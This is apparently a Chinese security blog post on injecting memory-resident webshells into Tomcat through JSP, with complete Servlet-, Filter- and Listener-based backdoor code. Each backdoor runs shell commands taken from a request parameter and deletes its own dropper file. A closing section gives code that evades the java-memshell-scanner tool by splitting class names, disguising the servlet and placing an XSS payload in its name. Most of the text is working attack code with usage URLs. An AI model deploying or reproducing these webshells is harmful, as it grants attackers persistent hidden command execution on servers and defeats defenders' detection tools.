声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!
0x00 前言
本次研究环境为jdk1.8+Tomcat 9
示例代码参考:
https://github.com/bitterzzZZ/MemoryShellLearn/tree/main/jsp%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC
现在市面上常见的基于JSP Webshell注入内存马的方式有以下三种:
-
基于Servlet的内存马
-
基于Filter的内存马
-
基于Listener的内存马
0x01基于Servlet注入内存马
在聊基于servlet的内存马之前,我们需要了解四个类ApplicationContextFacade、ApplicationContext、StandardContext、StandardWrapper。
ApplicationContextFacade这个类就很好的体现了动态代理这个特性,这里只允许servlet间接(通过ApplicationContextFacade)访问ApplicationContext,这里我们就理解为它是为了通过反射获取ApplicationContext类而生的吧,其实还有很多安全验证机制在里边,太底层了,分析起来有一定难度
那么接下来就是ApplicationContext就不难理解了,它实现了ServletContext,代表着应用程序上下文,储存着当前的全局信息,同时它在Web应用启动时创建,在Web应用关闭时销毁,它的context属性是下一个关键类StandardContext
那么StandardContext又是何方神圣呢?简单点说,它是一个Context实例,可以表示一个具体的Web应用程序,其中可包含多个Wrappe实例。后续我们主要使用它重载的createWrapper()方法去实例化一个StandardWrapper对象,这个对象的主要任务是载入它代表的servlet类,并进行实例化,也就是注册Servlet
总体流程如下
现在再来看一下完整代码
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.core.*"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.*"%>
<%@ page import = "java.io.*"%>
<%@ page import = "java.lang.reflect.Field"%>
<%
// 一个简单的jsp马
class BackdoorServlet extends HttpServlet {
public void service(ServletRequest req, ServletResponse res) throws IOException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
if (request.getParameter("admin")!=null){
Runtime.getRuntime().exec(request.getParameter("admin"));
}
else{
response.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
}
// 获取 ApplicationContextFacade 对象
ServletContext servletContext = request.getSession().getServletContext();
// 通过反射拿属性 context 的 field 对象
Field field = servletContext.getClass().getDeclaredField("context");
// 暴力访问
field.setAccessible(true);
// 拿 applicationContext
ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
// 拿 ApplicationContext 类中 context 的 field对象
field = applicationContext.getClass().getDeclaredField("context");
// 暴力访问
field.setAccessible(true);
// 拿 ApplicationContext 类下 context 的值, 也就是 standardContext
StandardContext standardContext = (StandardContext) field.get(applicationContext);
// 实例化jsp小马
BackdoorServlet backdoorServlet = new BackdoorServlet();
// 注册servlet, 等价于在web.xml中配置servlet与servlet-mapping标签
org.apache.catalina.Wrapper backdoorWrapper = standardContext.createWrapper();
backdoorWrapper.setName("index");
backdoorWrapper.setLoadOnStartup(1);
backdoorWrapper.setServlet(backdoorServlet);
backdoorWrapper.setServletClass(backdoorServlet.getClass().getName());
standardContext.addChild(backdoorWrapper);
standardContext.addServletMappingDecoded("/index", "index");
// 自删除
(new File(application.getRealPath(request.getServletPath()))).delete();
%>
访问/index?admin=命令即可
0x02 基于Filter的内存马
有了上面的基础,再来分析filter内存马就不难了,架子不会变很多,变化的地方是反射后的类,要想看懂后边的代码,我们还是要学习一下这些类的,至少知道功能是干嘛的
先来ApplicationFilterConfig类,单从名字就能感觉出来,这个类跟filter的配置是挂钩的,没错,它是FilterConfig接口的实例,在这里我们主要用到了它的构造方法,这个方法就是实例化ApplicationConfigFilter并加载我们的恶意filter到内存中
来看一下filter马长什么样子吧,注意看注释
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap"%>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"%>
<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>
<%
class DefaultFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
// 注册拦截
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
// 平平无奇的小马
if (req.getParameter("cmdc") != null) {
Runtime.getRuntime().exec(req.getParameter("cmdc"));
response.getWriter().println("exec done");
}
// 转发请求
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {}
}
%>
<%
String name = "DefaultFilter";
// 获取 ApplicationContextFacade 对象
ServletContext servletContext = request.getSession().getServletContext();
// 反射获取 ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
// 暴力访问
appctx.setAccessible(true);
// 拿 applicationContext
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// 拿 ApplicationContext 类中 context 的 field对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
// 暴力访问
stdctx.setAccessible(true);
// 反射获取 StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 拿 filterConfigs属性的反射对象
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
// 暴力访问
Configs.setAccessible(true);
// 获取web应用的filter配置
Map filterConfigs = (Map) Configs.get(standardContext);
// 判断指定的filter是否注册, 没有就注册
if (filterConfigs.get(name) == null){
// 包含了小马的恶意filter
DefaultFilter filter = new DefaultFilter();
// 设置filter的值并注册filter
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
// 指定访问路径与转发规则并注册filter-mapper
filterMap.addURLPattern("/abcd");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 拿 ApplicationFilterConfig 的构造方法
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
// 暴力访问
constructor.setAccessible(true);
// 实例化 ApplicationFilterConfig 并加载filter到内存中
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 避免二次注入
filterConfigs.put(name, filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected");
}
%>
程序大致的执行流程
访问/abcd?cmdc=calc解锁计算器
0x03 基于Listener的内存马
有了上述两个例子,Listener马也不难理解了,注意看注释
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Field" %>
<%
// 平平无奇的jsp小马
class BackdoorListener implements ServletRequestListener{
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
if (request.getParameter("cmd")!=null){
try {
Runtime.getRuntime().exec(request.getParameter("admin"));
} catch (IOException e) {}
}
}
}
// 获取 ApplicationContextFacade 对象
ServletContext servletContext = request.getSession().getServletContext();
// 反射获取 ApplicationContext
Field field = servletContext.getClass().getDeclaredField("context");
// 暴力访问
field.setAccessible(true);
// 反射拿 ApplicationContext
ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
// 反射拿 StandardContext
StandardContext standardContext = (StandardContext) field.get(applicationContext);
// 注册Listener内存马
standardContext.addApplicationEventListener(new BackdoorListener());
// 自删除
(new File(application.getRealPath(request.getServletPath()))).delete();
%>
基于JSP webshell的内存马是建立在StandardContext实例之上的,而获取这个类又需要request对象,在一些RCE漏洞利用环境下,是没有request对象的,这里我们可以用一个小trick去绕过,参考https://xz.aliyun.com/t/9914
核心代码:
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
Listener马执行流程
访问 /?cmd=&admin=calc 解锁计算器
0x04 Simple bypass
现在查杀内存马的优秀项目还是很多的,比如arthas、copagent、java-memshell-scanner等等,在知道注入流程以及原理之后,更应该考虑免杀的问题,这里对java-memshell-scanner这款内存马查杀工具进行简单的绕过
示例代码
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.core.*"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.*"%>
<%@ page import = "java.io.*"%>
<%@ page import = "java.lang.reflect.Field"%>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%
// 一个简单的jsp马
class SysConfig extends HttpServlet {
public void service(ServletRequest req, ServletResponse res) throws IOException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
Class<?> clzz = null;
try {
String str1 = "java.lang.P";
String str2 = "rocessImpl";
clzz = Class.forName(str1+str2);
Method start = clzz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
start.setAccessible(true);
start.invoke(clzz,new String[]{request.getParameter("arg")},null,null,null,false);
} catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
}
}
// 获取 ApplicationContextFacade 对象
ServletContext servletContext = request.getSession().getServletContext();
// 通过反射拿属性 context 的 field 对象
Field field = servletContext.getClass().getDeclaredField("context");
// 暴力访问
field.setAccessible(true);
// 拿 applicationContext
ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
// 拿 ApplicationContext 类中 context 的 field对象
field = applicationContext.getClass().getDeclaredField("context");
// 暴力访问
field.setAccessible(true);
// 拿 ApplicationContext 类下 context 的值, 也就是 standardContext
StandardContext standardContext = (StandardContext) field.get(applicationContext);
// 实例化jsp小马
SysConfig Sys = new SysConfig();
// 注册servlet, 等价于在web.xml中配置servlet与servlet-mapping标签
org.apache.catalina.Wrapper backdoorWrapper = standardContext.createWrapper();
backdoorWrapper.setName("jsp<script>alert('我怎么会有XSS (狗头) ')</script>");
// backdoorWrapper.setLoadOnStartup(1);
backdoorWrapper.setServlet(Sys);
backdoorWrapper.setServletClass("org.apache.jasper.servlet.JspServlet");
standardContext.addChild(backdoorWrapper);
standardContext.addServletMappingDecoded("*.jspx", "jsp<script>alert('我怎么会有XSS (狗头) ')</script>");
// 自删除
(new File(application.getRealPath(request.getServletPath()))).delete();
%>
原文始发于微信公众号(安全日记):浅谈基于JSP Webshell内存马的攻与防
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论